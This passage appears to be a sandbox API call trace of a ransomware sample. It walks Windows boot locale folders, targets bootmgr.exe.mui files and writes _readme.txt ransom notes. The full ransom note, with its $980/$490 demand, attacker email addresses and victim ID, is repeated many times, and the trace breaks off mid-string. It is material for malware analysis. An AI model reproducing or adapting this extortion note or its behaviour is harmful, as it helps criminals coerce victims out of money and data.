CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.366] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.366] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.366] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.366] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0117.366] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.366] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.366] PathFindFileNameW (pszPath="") returned="" [0117.366] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.367] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.367] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.367] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.367] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0117.367] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 0 [0117.367] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.367] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.367] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\_readme.txt" (normalized: "c:\\boot\\pt-pt\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.367] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.368] PathFindExtensionW (pszPath="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned=".mui" [0117.368] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.368] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.368] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.368] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.368] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0117.368] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.368] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.368] PathFindFileNameW (pszPath="") returned="" [0117.368] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.368] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.369] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.369] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.369] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0117.369] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 0 [0117.369] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.369] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.369] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\_readme.txt" (normalized: "c:\\boot\\ru-ru\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.369] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.369] PathFindExtensionW (pszPath="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned=".mui" [0117.369] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.369] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.370] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.370] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.370] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0117.370] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.370] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.370] PathFindFileNameW (pszPath="") returned="" [0117.370] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.370] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.370] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.370] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.370] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0117.370] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 0 [0117.371] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.371] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.371] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\_readme.txt" (normalized: "c:\\boot\\sv-se\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.371] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.371] PathFindExtensionW (pszPath="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned=".mui" [0117.371] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.371] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.371] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.371] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.371] PathFindFileNameW (pszPath="C:\\Boot\\tr-TR\\") returned="tr-TR\\" [0117.371] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.371] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.371] PathFindFileNameW (pszPath="") returned="" [0117.372] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.372] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.372] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.372] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.372] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0117.372] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 0 [0117.372] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and 